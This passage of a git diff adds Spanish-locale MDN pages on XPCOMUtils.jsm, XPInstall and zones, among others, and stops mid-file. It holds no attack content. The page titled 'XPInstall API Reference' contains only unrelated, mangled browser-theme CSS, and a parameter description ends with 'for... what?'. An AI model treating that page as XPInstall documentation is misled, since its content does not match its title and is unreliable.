+    If <code>true</code>, login saving is enabled for the specified host. If <code>false</code>, login saving is disabled.</dd>
+</dl>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+  <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginInfo" title="">nsILoginInfo</a></code></li>
+  <li><a href="/en/XPCOM_Interface_Reference/nsILoginManager/Using_nsILoginManager" title="en/Using_nsILoginManager">Using nsILoginManager</a></li>
+</ul>
+<p></p>
diff --git a/files/es/xpcomutils.jsm/index.html b/files/es/xpcomutils.jsm/index.html
new file mode 100644
index 0000000000..15d8739fdc
--- /dev/null
+++ b/files/es/xpcomutils.jsm/index.html
@@ -0,0 +1,509 @@
+---
+title: XPCOMUtils.jsm
+slug: XPCOMUtils.jsm
+tags:
+  - NeedsContent
+  - XPConnect
+  - páginas_a_traducir
+translation_of: Mozilla/JavaScript_code_modules/XPCOMUtils.jsm
+---
+<p>The <span style="font-family: monospace;">XPCOMUtils</span><code>.jsm</code> JavaScript code module offers utility routines for JavaScript components loaded by the JavaScript component loader.</p>
+
+<p>To use this, you first need to import the code module into your JavaScript scope:</p>
+
+<pre>Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
+</pre>
+
+<h2 id="Using_XPCOMUtils">Using XPCOMUtils</h2>
+
+<p>Exposing a JavaScript class as a component using these utility methods requires four key steps:</p>
+
+<ol>
+ <li>Import <code>XPCOMUtils.jsm</code>, as explained previously.</li>
+ <li>Declare the class (or multiple classes) implementing the component(s).</li>
+ <li>Create an array of component constructors.</li>
+ <li>Define the <code>NSGetFactory()</code> or <code>NSGetModule()</code> entry point.</li>
+</ol>
+
+<h3 id="Pseudocode">Pseudocode</h3>
+
+<p>This section provides some pseudocode that demonstrates how to put together a JavaScript class based on the steps listed above.</p>
+
+<h4 id="Constructor">Constructor</h4>
+
+<p>The constructor is a simple method that handles any required initialization tasks.</p>
+
+<pre class="brush: js">function MyComponent() {
+  // initialize the component here
+}
+</pre>
+
+<h4 id="Class_declaration">Class declaration</h4>
+
+<p>Declare the class prototype, using a form similar to this.</p>
+
+<pre class="brush: js">MyComponent.prototype = {
+  // properties required for XPCOM registration:
+  classDescription: "unique text description",
+  classID:          Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"),
+  contractID:       "@example.com/xxx;1",
+
+  // [optional] custom factory (an object implementing nsIFactory). If not
+  // provided, the default factory is used, which returns
+  // |(new MyComponent()).QueryInterface(iid)| in its createInstance().
+  _xpcom_factory: { ... },
+
+  // [optional] an array of categories to register this component in.
+  _xpcom_categories: [{
+    // Each object in the array specifies the parameters to pass to
+    // nsICategoryManager.addCategoryEntry(). 'true' is passed for
+    // both aPersist and aReplace params.
+    category: "some-category",
+    // optional, defaults to the object's classDescription
+    entry: "entry name",
+    // optional, defaults to the object's contractID (unless
+    // 'service' is specified)
+    value: "...",
+    // optional, defaults to false. When set to true, and only if 'value'
+    // is not specified, the concatenation of the string "service," and the
+    // object's contractID is passed as aValue parameter of addCategoryEntry.
+    service: true,
+    // optional array of applications' IDs in the form:
+    // [ "{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}", ... ]
+    // If this is defined, the component is registered in this
+    // category only on the specified applications.
+    apps: [ ... ]
+  }],
+
+  // QueryInterface implementation, e.g. using the generateQI helper
+  QueryInterface: XPCOMUtils.generateQI(
+    [Components.interfaces.nsIObserver,
+     Components.interfaces.nsIMyInterface,
+     "nsIFoo",
+     "nsIBar" ]),
+
+  // [optional] classInfo implementation, e.g. using the generateCI helper.
+  // Will be automatically returned from QueryInterface if that was
+  // generated with the generateQI helper.
+  classInfo: XPCOMUtils.generateCI(
+    {classID: Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"),
+     contractID: "@example.com/xxx;1",
+     classDescription: "unique text description",
+     interfaces: [Components.interfaces.nsIObserver,
+                  Components.interfaces.nsIMyInterface,
+                  "nsIFoo",
+                  "nsIBar"],
+     flags: Ci.nsIClassInfo.SINGLETON}),
+
+  // ...component implementation...
+};
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The ability to register the component in a category only on specific applications by adding the apps field to a category entry was added in Gecko 2.</p>
+</div>
+
+<p>Notice that the <code>QueryInterface()</code> method implemented by the component simply calls the <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateQI()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateQI()"><code>generateQI()</code></a> method provided by the XPCOMUtils code module.</p>
+
+<h4 id="Create_an_array_of_component_constructors">Create an array of component constructors</h4>
+
+<p>You need to create an array that lists the constructors for each component. This array can of course have just one entry:</p>
+
+<pre>var components = [MyComponent];
+</pre>
+
+<p>Here, we're calling the array <code>components</code>.</p>
+
+<h4 id="Create_the_NSGetFactory()_or_NSGetModule()_entry_point">Create the NSGetFactory() or NSGetModule() entry point</h4>
+
+<p>Finally, you need to implement the <code>NSGetModule()</code> entry point so Gecko can start up your component:</p>
+
+<pre>// "components" is the array created in the previous section
+if ("generateNSGetFactory" in XPCOMUtils)
+  var NSGetFactory = XPCOMUtils.generateNSGetFactory(components);  // Gecko 2.0+
+else
+  var NSGetModule = XPCOMUtils.generateNSGetModule(components);    // Gecko 1.9.x</pre>
+
+<h2 id="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()" title="en/JavaScript code modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter</a>(aObject, aName, aLambda);</code></td>
+  </tr>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyModuleGetter()" title="en/JavaScript code modules/XPCOMUtils.jsm#defineLazyModuleGetter()">defineLazyModuleGetter</a>(aObject, aName, aResource, [optional] aSymbol);</code></td>
+  </tr>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyServiceGetter()" title="en/JavaScript code modules/XPCOMUtils.jsm#defineLazyServiceGetter()">defineLazyServiceGetter</a>(aObject, aName, aContract, aInterfaceName);</code></td>
+  </tr>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateNSGetFactory()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateNSGetFactory()">generateNSGetFactory</a>(componentsArray);</code></td>
+  </tr>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateCI()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateCI()">generateCI</a>(classInfo); </code></td>
+  </tr>
+  <tr>
+   <td><code>function <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateQI()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateQI()">generateQI</a>(interfaces);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#importRelative()" title="en/JavaScript code modules/XPCOMUtils.jsm#importRelative()">importRelative</a>(that, path, scope);</code></td>
+  </tr>
+  <tr>
+   <td><code>generator <a href="#IterSimpleEnumerator()" title="en/JavaScript code modules/XPCOMUtils.jsm#IterSimpleEnumerator()">IterSimpleEnumerator</a>(enumerator, interface);</code></td>
+  </tr>
+  <tr>
+   <td><code>generator <a href="#IterStringEnumerator()" title="en/JavaScript code modules/XPCOMUtils.jsm#IterStringEnumerator()">IterStringEnumerator</a>(enumerator);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>categoryManager</code></td>
+   <td>{{ interface("nsICategoryManager") }}</td>
+   <td>Returns a reference to {{ interface("nsICategoryManager") }}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="defineLazyGetter()">defineLazyGetter()</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">Getter functions in JavaScript</a> give you a way to define a property of an object, but not calculate the property's value until it is accessed. A getter defers the cost of calculating the value until the value is needed, and if it is never needed, you never pay the cost.</p>
+
+<p>A "lazy getter" provides an additional optimization: the value is calculated the first time the getter is called, and is then cached (or <a href="https://en.wikipedia.org/wiki/Memoization">memoized</a>), so subsequent accesses return the cached value without recalculating it.</p>
+
+<p>This means that you shouldn't use a lazy getter for a property whose value you expect to change, because the getter will not recalculate the value.</p>
+
+<p><code>defineLazyGetter</code> takes three arguments:</p>
+
+<ul>
+ <li>the object to define the property on</li>
+ <li>the name of the property defined</li>
+ <li>the getter function itself, which returns the value and which will be called just once, the first time code tries to access the property.</li>
+</ul>
+
+<p>Example for this is seen at bottom of this page <a href="#defineLazyGetter">here</a>.</p>
+
+<pre><code>function defineLazyGetter(
+  aObject,
+  aName,
+  aLambda
+);</code> </pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aObject</code></dt>
+ <dd>The object into which to add the new lazy getter function.</dd>
+ <dt><code>aName</code></dt>
+ <dd>The name of the getter function to create.</dd>
+ <dt><code>aLambda</code></dt>
+ <dd>A function that returns the value the getter should return. This function is called exactly once. <code>this</code> will reference <code>aObject</code> during execution of the function.</dd>
+</dl>
+
+<h3 id="defineLazyModuleGetter()">defineLazyModuleGetter()</h3>
+
+<p>Defines a getter on a specified object for a module. The module will not be imported until first use.</p>
+
+<pre><code>function defineLazyModuleGetter(
+  aObject,
+  aName,
+  aResource,
+  aSymbol
+);</code> </pre>
+
+<h6 id="Parameters_2">Parameters</h6>
+
+<dl>
+ <dt><code>aObject</code></dt>
+ <dd>The object to define the lazy getter on.</dd>
+ <dt><code>aName</code></dt>
+ <dd>The name of the getter to define on <code>aObject</code> for the module.</dd>
+ <dt><code>aResource</code></dt>
+ <dd>The URL used to obtain the module.</dd>
+ <dt><code>aSymbol</code></dt>
+ <dd>The name of the symbol exported by the module. This parameter is optional and defaults to <code>aName</code>.</dd>
+</dl>
+
+<h3 id="defineLazyServiceGetter()">defineLazyServiceGetter()</h3>
+
+<p>Defines a function on a specified object which acts as a getter for a service. The service isn't obtained until the first time it's used.</p>
+
+<pre>function defineLazyServiceGetter(
+  aObject,
+  aName,
+  aContract,
+  aInterfaceName
+);
+</pre>
+
+<h6 id="Parameters_3">Parameters</h6>
+
+<dl>
+ <dt><code>aObject</code></dt>
+ <dd>The object into which to add the new lazy service getter function.</dd>
+ <dt><code>aName</code></dt>
+ <dd>The name of the getter function to create.</dd>
+ <dt><code>aContract</code></dt>
+ <dd>The contract to use to obtain the service.</dd>
+ <dt><code>aInterfaceName</code></dt>
+ <dd>The name of the interface to query the service to.</dd>
+</dl>
+
+<p> </p>
+
+<h3 id="generateNSGetFactory()">generateNSGetFactory()</h3>
+
+<p> </p>
+
+<p>Generates the <code>NSGetFactory()</code> function along with the factory definition.</p>
+
+<pre>Function generateNSGetFactory(
+  componentsArray
+);
+</pre>
+
+<h6 id="Parameters_4">Parameters</h6>
+
+<dl>
+ <dt><code>componentsArray</code></dt>
+ <dd>An array of component constructors.</dd>
+</dl>
+
+<h6 id="Return_value">Return value</h6>
+
+<p>A function that will return the factory for the components and can be assigned to <code>NSGetFactory</code> global variable.</p>
+
+<p> </p>
+
+<h3 id="generateCI()">generateCI()</h3>
+
+<p> </p>
+
+<p>Generates an {{ interface("nsIClassInfo") }} implementation for a component. The returned object should be assigned to the <code>classInfo</code> property of a JS object, the <code>QueryInterface()</code> function generated by <code>generateQI</code> will return it automatically then.</p>
+
+<pre>function generateCI(
+  classInfo
+);
+</pre>
+
+<h6 id="Parameters_5">Parameters</h6>
+
+<dl>
+ <dt>classInfo</dt>
+ <dd>An object containing the optional properties <code>interfaces</code>, <code>contractID</code>, <code>classDescription</code>, <code>classID</code>, <code>flags</code>. This parameter should not be the component itself because that would cause a memory leak.</dd>
+</dl>
+
+<h6 id="Return_value_2">Return value</h6>
+
+<p>An {{ interface("nsIClassInfo") }} implementation returning the values of the properties from the <code>classInfo</code> parameter in its various properties.</p>
+
+<h6 id="Exceptions_thrown">Exceptions thrown</h6>
+
+<p>This method throws an exception with the message "In generateCI, don't use a component for generating classInfo" if <code>classInfo</code> parameter is an XPCOM component.</p>
+
+<h3 id="generateQI()">generateQI()</h3>
+
+<p>Generates a <code>QueryInterface()</code> function implementation. You need to assign the returned function to the <code>QueryInterface</code> property of a JavaScript object.</p>
+
+<p>When the generated method is invoked on that object, it checks to see if the specified IID is listed in the array specified by the <code>interfaces</code> parameter; if it is, <code>this</code> (that is, the object itself) is returned. Otherwise, <code>null</code> is returned.</p>
+
+<pre>function generateQI(
+  interfaces
+);
+</pre>
+
+<h6 id="Parameters_6">Parameters</h6>
+
+<dl>
+ <dt>interfaces</dt>
+ <dd>An array of interfaces implemented by the component.</dd>
+</dl>
+
+<h6 id="Return_value_3">Return value</h6>
+
+<p>A <code>QueryInterface()</code> function implementation.</p>
+
+<h6 id="Remarks">Remarks</h6>
+
+<p>When you implement an interface that inherits from another one, you should generally list all the base interfaces explicitly, except for {{ Interface("nsISupports") }}. For example, if your component implements {{ Interface("nsIStreamConverter") }}:</p>
+
+<pre class="brush: js">MyComponent.prototype = {
+  QueryInterface: XPCOMUtils.generateQI([
+    Components.interfaces.nsIRequestObserver,
+    Components.interfaces.nsIStreamListener,
+    Components.interfaces.nsIStreamConverter,
+  ]),
+
+  // ...methods...
+}
+</pre>
+
+<h3 id="importRelative()">importRelative()</h3>
+
+<p>Imports a JavaScript code module given the calling JavaScript code module's global object (you should specify <code>this</code>) and a path relative to that module. This lets modules bundled in a package load one another without having to hard-code full paths.</p>
+
+<pre>void importRelative(
+  that,
+  path,
+  scope
+);
+</pre>
+
+<h6 id="Parameters_7">Parameters</h6>
+
+<dl>
+ <dt><code>that</code></dt>
+ <dd>The JavaScript Object of the calling JavaScript code module's global scope. You should simply pass <code>this</code>.</dd>
+ <dt><code>path</code></dt>
+ <dd>The relative path of the JavaScript code module to import.</dd>
+ <dt><code>scope</code></dt>
+ <dd>An optional object to import into; if omitted, the object passed in for the <code>that</code> parameter is used.</dd>
+</dl>
+
+<h6 id="Remarks_2">Remarks</h6>
+
+<p>This lets an extension bundle its own JavaScript code modules within itself and have them load one another. For example, if an extension named "MyExtension" bundles <code>foo.jsm</code> and <code>bar.jsm</code>, and foo.jsm needs to load <code>bar.jsm</code>, it can do so like this:</p>
+
+<pre class="deki-transform">Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
+XPCOMUtils.importRelative(this, "bar.jsm"); </pre>
+
+<p>In other words: <code>importRelative</code> will only work from other code modules (such as JSM files). It will NOT work from overlay scripts or <code>bootstrap.js</code> or etc. Details can be found here: {{bug("628669")}}</p>
+
+<h3 id="IterSimpleEnumerator()">IterSimpleEnumerator()</h3>
+
+<p>Wraps an {{ Interface("nsISimpleEnumerator") }} instance into a JavaScript generator that can be easily iterated over.</p>
+
+<pre>generator IterSimpleEnumerator(
+  enumerator,
+  interface
+);
+</pre>
+
+<h6 id="Parameters_8">Parameters</h6>
+
+<dl>
+ <dt><code>enumerator</code></dt>
+ <dd>The {{ Interface("nsISimpleEnumerator") }} instance to iterate over.</dd>
+ <dt><code>interface</code></dt>
+ <dd>The expected interface for each element.</dd>
+</dl>
+
+<h6 id="Return_value_4">Return value</h6>
+
+<p>A generator yielding enumerated objects.</p>
+
+<h6 id="Example">Example</h6>
+
+<pre class="brush: js">const nsIFile = Components.interfaces.nsIFile;
+for (var file in XPCOMUtils.IterSimpleEnumerator(dir.directoryEntries, nsIFile))
+  console.log(file.path);
+</pre>
+
+<h3 id="IterStringEnumerator()">IterStringEnumerator()</h3>
+
+<p>Wraps an {{ Interface("nsIStringEnumerator") }} or {{ Interface("nsIUTF8StringEnumerator") }} instance into a JavaScript generator that can be easily iterated over.</p>
+
+<pre>generator IterStringEnumerator(
+  enumerator
+);
+</pre>
+
+<h6 id="Parameters_9">Parameters</h6>
+
+<dl>
+ <dt><code>enumerator</code></dt>
+ <dd>The {{ Interface("nsIStringEnumerator") }} or {{ Interface("nsIUTF8StringEnumerator") }} instance to iterate over.</dd>
+</dl>
+
+<h6 id="Return_value_5">Return value</h6>
+
+<p>A generator yielding enumerated strings.</p>
+
+<h6 id="Example_2">Example</h6>
+
+<pre class="brush: js">for (var section in XPCOMUtils.IterStringEnumerator(iniParser.getSections()))
+  console.log(section);
+</pre>
+
+<h2 id="Post-registration_callback">Post-registration callback</h2>
+
+<p>The post-registration callback called by <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateModule()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateModule()"><code>generateModule()</code></a> should have the following signature:</p>
+
+<pre>postRegister(
+  nsIComponentManager compMgr,
+  nsIFile fileSpec,
+  componentsArray
+);
+</pre>
+
+<h6 id="Parameters_10">Parameters</h6>
+
+<dl>
+ <dt><code>compMgr</code></dt>
+ <dd>An {{ interface("nsIComponentManager") }} instance to use for managing the component.</dd>
+ <dt><code>fileSpec</code></dt>
+ <dd>An {{ interface("nsIFile") }} instance for... what?</dd>
+ <dt><code>componentsArray</code></dt>
+ <dd>An array of the components, as passed to <code>generateModule()</code>.</dd>
+</dl>
+
+<p>The function doesn't need to return a value.</p>
+
+<h2 id="Pre-unregistration_callback">Pre-unregistration callback</h2>
+
+<p>The pre-unregistration callback passed to <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#generateModule()" title="en/JavaScript code modules/XPCOMUtils.jsm#generateModule()"><code>generateModule()</code></a> should have the following signature:</p>
+
+<pre>preUnregister(
+  nsIComponentManager compMgr,
+  nsIFile fileSpec,
+  componentsArray
+);
+</pre>
+
+<h6 id="Parameters_11">Parameters</h6>
+
+<dl>
+ <dt><code>compMgr</code></dt>
+ <dd>The {{ interface("nsIComponentManager") }} instance to use for managing the component.</dd>
+ <dt><code>fileSpec</code></dt>
+ <dd>An {{ interface("nsIFile") }} instance for... what?</dd>
+ <dt><code>componentsArray</code></dt>
+ <dd>The array of components passed to <code>generateModule()</code>.</dd>
+</dl>
+
+<p>This function doesn't need to return a value.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="defineLazyGetter">defineLazyGetter</h3>
+
+<pre class="brush: js">var myServices = {};
+Cu.import('resource://gre/modules/XPCOMUtils.jsm');
+
+//set it up
+XPCOMUtils.defineLazyGetter(myServices, 'as', function () { return Cc['@mozilla.org/alerts-service;1'].getService(Ci.nsIAlertsService) });
+
+//when you need to use it
+myServices.as.showAlertNotification('chrome://branding/content/icon64.png', 'this was lazyloaded', 'this is a notification from myServices.as', null, null);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/JavaScript_code_modules/Using" title="en/JavaScript code modules/Using JavaScript code
+    modules">Using JavaScript code modules</a></li>
+ <li><a class="internal" href="/en/JavaScript_code_modules" title="en/JavaScript code
+    modules">JavaScript code modules</a></li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/js/xpconnect/loader/XPCOMUtils.jsm">XPCOMUtils.jsm source on DXR</a></li>
+</ul>
diff --git a/files/es/xpinstall/index.html b/files/es/xpinstall/index.html
new file mode 100644
index 0000000000..aa498d05d7
--- /dev/null
+++ b/files/es/xpinstall/index.html
@@ -0,0 +1,54 @@
+---
+title: XPInstall
+slug: XPInstall
+tags:
+  - XPInstall
+translation_of: Archive/Mozilla/XPInstall
+---
+<p>
+</p>
+<div><b>La Instalacion Multiplataforma (XPInstall)</b> es una tecnología utilizada por la Suite de Aplicaciones de Mozilla, Mozilla Thunderbird y otras aplicaciones basadas en <a class="external" href="http://developer.mozilla.org/es/docs/XUL">XUL</a> para instalar <a class="external" href="http://developer.mozilla.org/es/docs/Extensions">extensiones</a>. Un módulo instalador <a class="external" href="http://developer.mozilla.org/es/docs/XPI">XPI</a> (pronunciado "zippy" y derivado de XPInstall) es un archivo ZIP que contiene un script instalador (titulado install.js o install.rdf) en la raíz del archivo.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentación"> <a>Documentación</a> </h4>
+<dl><dt> <a href="es/Referencia_de_API_de_XPInstall">Referencia de API de XPInstall</a>
+</dt></dl>
+<dl><dt> <a href="es/Aprender_Scripting_con_XPInstaller_por_ejemplo">Aprender Scripting con XPInstaller por ejemplo</a>
+</dt><dd> <small>Este articulo usa el script instalador del paquete <code>browser.xpi</code> como la base para discutir instalaciones con XPI en general.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/projects/xpinstall/win_xpi.html">Cómo agregar un módulo instalador al instalador de Windows</a>
+</dt><dd> <small>Un módulo instalador es un paquete en <a class="external" href="http://www.info-zip.org/">Formato ZIP de Phil Katz</a> que contiene un script instalador (nombrado install.js) en la raiz de un <a href="es/XPI">XPI</a>. El paquete contiene algunos archivos y el instalador contiene algunas directivas javascript para acciones que se toman durante la instalacion, por ejemplo, para agregar archivos y directorios, borrar archivos viejos u obsoletos, ejecutar herramientas de linea de comandos, etc.</small>
+</dd></dl>
+<dl><dt> <a href="es/Creando_M%c3%b3dulos_para_el_XPInstaller">Creando Módulos para el XPInstaller</a><br>
+</dt><dd> <small>Este articulo describe el esquema de empaquetamiento de Mozilla y ofrece un tutorial para crear un nuevo paquete que pueda ser redistribuido, instalado, y que pueda estar disponible para usuarios.</small>
+</dd></dl>
+<dl><dt> <a href="es/Asistentes_de_instalaci%c3%b3n_(Stub_Installers)">Asistentes de instalación (Stub Installers)</a><br>
+</dt></dl>
+<p><span><a>View All...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Comunidad"> Comunidad </h4>
+<ul><li> Ver foros de Mozilla...
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-platform"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform/feeds"> como RSS</a></li>
+</ul>
+<p></p>
+<h4 id="Herramientas"> Herramientas </h4>
+<ul><li> <a class="external" href="http://www.mozilla.org/quality/smartupdate/xpinstall-trigger.html">Página Disparadora de XPInstall</a>
+</li></ul>
+<h4 id="Temas_Relacionados"> Temas Relacionados </h4>
+<dl><dd> <a href="es/Extensions">Extensions</a>, <a href="es/XUL">XUL</a>, <a href="es/XPI">XPI</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span>Categories</span>
+</p><p><span>Interwiki Language Links</span>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/xpinstall_api_reference/index.html b/files/es/xpinstall_api_reference/index.html
new file mode 100644
index 0000000000..c2809418ff
--- /dev/null
+++ b/files/es/xpinstall_api_reference/index.html
@@ -0,0 +1,132 @@
+---
+title: XPInstall API Reference
+slug: XPInstall_API_Reference
+---
+<p>@namespace url(<a class=" external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>);
+</p><p>/* ----------Make toolbars Look ok on Classic---------- */
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox {
+</li></ol>
+<pre class="eval"> -moz-appearance: toolbox !important;
+ background-color: -moz-Dialog !important;
+ border-top: 2px solid !important;
+ -moz-border-top-colors: ThreeDShadow ThreeDHighlight !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox toolbar {
+</li></ol>
+<pre class="eval"> -moz-appearance: toolbar !important;
+ border-top: 2px solid !important;
+ -moz-border-top-colors: ThreeDShadow ThreeDHighlight !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #toolbar-menubar {
+</li></ol>
+<pre class="eval"> border: none !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #toolbar-menubar,
+</li><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #PersonalToolbar {
+</li></ol>
+<pre class="eval"> -moz-opacity: 1 !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #toolbar-menubar,
+</li><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #toolbar-menubar menubar,
+</li><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #nav-bar {
+</li></ol>
+<pre class="eval"> -moz-appearance: toolbar !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox #toolbar-menubar {
+</li></ol>
+<pre class="eval">  background: none !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window:not(:-moz-system-metric(windows-default-theme)) #navigator-toolbox {
+</li></ol>
+<pre class="eval">  background-color: -moz-Dialog !important;
+</pre>
+<p>}
+</p><p>/* ----------Fix Address Bar---------- */
+</p>
+<ol><li>urlbar {
+</li></ol>
+<pre class="eval"> padding-left: 1px !important;
+</pre>
+<p>}
+</p><p>/* code from kliu0x52 */
+</p>
+<ol><li>urlbar:not(:-moz-system-metric(windows-default-theme)) {
+</li></ol>
+<pre class="eval">  -moz-appearance: TextField ! important;
+</pre>
+<p>}
+</p>
+<ol><li>urlbar{{ mediawiki.external('chromedir=\"ltr\"') }}:not(:-moz-system-metric(windows-default-theme)) {
+</li></ol>
+<pre class="eval">  -moz-margin-start: 4px ! important;
+</pre>
+<p>}
+</p>
+<ol><li>urlbar{{ mediawiki.external('chromedir=\"ltr\"') }}:not(:-moz-system-metric(windows-default-theme)) &gt; #identity-box {
+</li></ol>
+<pre class="eval">  -moz-margin-start: 0px ! important;
+</pre>
+<p>}
+</p>
+<ol><li>urlbar{{ mediawiki.external('chromedir=\"ltr\"') }}:not(:-moz-system-metric(windows-default-theme)) &gt; #identity-box &gt; hbox {
+</li></ol>
+<pre class="eval">  border-left-style: none ! important;
+  padding-left: 2px ! important;
+  -moz-border-radius: 0px ! important;
+</pre>
+<p>}
+</p><p>.searchbar-textbox:not(:-moz-system-metric(windows-default-theme)) {
+</p>
+<pre class="eval">  -moz-appearance: TextField ! important;
+</pre>
+<p>}
+/* end of code from kliu0x52 */
+</p><p>/* ----------Remove withe background from menubar---------- */
+</p>
+<ol><li>toolbar-menubar {
+</li></ol>
+<pre class="eval"> background: none !important;
+</pre>
+<p>}
+</p>
+<ol><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #file-menu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #edit-menu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #view-menu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #history-menu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #bookmarksMenu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #tools-menu,
+</li><li>main-window{{ mediawiki.external('sizemode=\"maximized\"') }} #helpMenu {
+</li></ol>
+<pre class="eval"> color: #ffffff !important;
+</pre>
+<p>}
+</p><p>/* ----------Make bookmarks toolbar blue---------- */
+</p>
+<ol><li>PersonalToolbar:-moz-system-metric(windows-default-theme) {
+</li></ol>
+<pre class="eval"> -moz-appearance: communications-toolbox !important;
+ padding: 2px 2px 3px 2px !important;
+</pre>
+<p>}
+</p>
+<ol><li>PersonalToolbar .toolbarbutton-text:-moz-system-metric(windows-default-theme) {
+</li></ol>
+<p>color: #fff !important;
+margin-bottom: 1px !important;
+}
+</p><p>toolbarbutton.bookmark-item:-moz-system-metric(windows-default-theme) {
+padding: 2px 6px !important;
+</p>
diff --git a/files/es/xul_tutorial/index.html b/files/es/xul_tutorial/index.html
new file mode 100644
index 0000000000..01a8c9df3d
--- /dev/null
+++ b/files/es/xul_tutorial/index.html
@@ -0,0 +1,5 @@
+---
+title: XUL Tutorial
+slug: XUL_Tutorial
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/es/zonas/index.html b/files/es/zonas/index.html
new file mode 100644
index 0000000000..be09f6bf62
--- /dev/null
+++ b/files/es/zonas/index.html
@@ -0,0 +1,72 @@
+---
+title: Zonas
+slug: Zonas
+translation_of: Zones
+---
+<p>Las zonas MDN te proveen el acceso a información acerca de algún tema o producto en específico. Acá tienes una lista de las zonas disponibles para ti.</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 id="Desarrollo_Web_y_de_aplicaciones">Desarrollo Web y de aplicaciones</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/Apps">App Center</a></dt>
+   <dd>
+    Aprender cómo crear aplicaciones de Web abierta—grandes experiencias que se ejecutan a través de múltiples depósitos—usando los mismos estándares Web y tecnologías libres que ya conoces.</dd>
+   <dt>
+    <a href="/en-US/docs/Tools">Herramientas de Desarrollador </a></dt>
+   <dd>
+    <p>Aprende como usar las herramientas de desarrollador de Firefox para depurar, probar, y optimizar tus sitios y aplicaciones Web.</p>
+   </dd>
+   <dt>
+    <a href="/en-US/Marketplace">Firefox Marketplace</a></dt>
+   <dd>
+    <p>Un mercado abierto y sin propietario para las aplicaciones Web diseñadas usando HTML, CSS y JavaScript. Envía tus aplicaciones al Firefox Marketplace o aprende a construir tu propio mercado. </p>
+   </dd>
+   <dt>
+    <a href="/en-US/docs/Games">Desarrollo de Videojuegos</a></dt>
+   <dd>
+    <p>Aprende a desarrollar juegos para la Web, como importar juegos existentes a tecnología Web y como convertir tus juegos en aplicaciones Web.</p>
+   </dd>
+  </dl>
+ </div>
+ <div class="section">
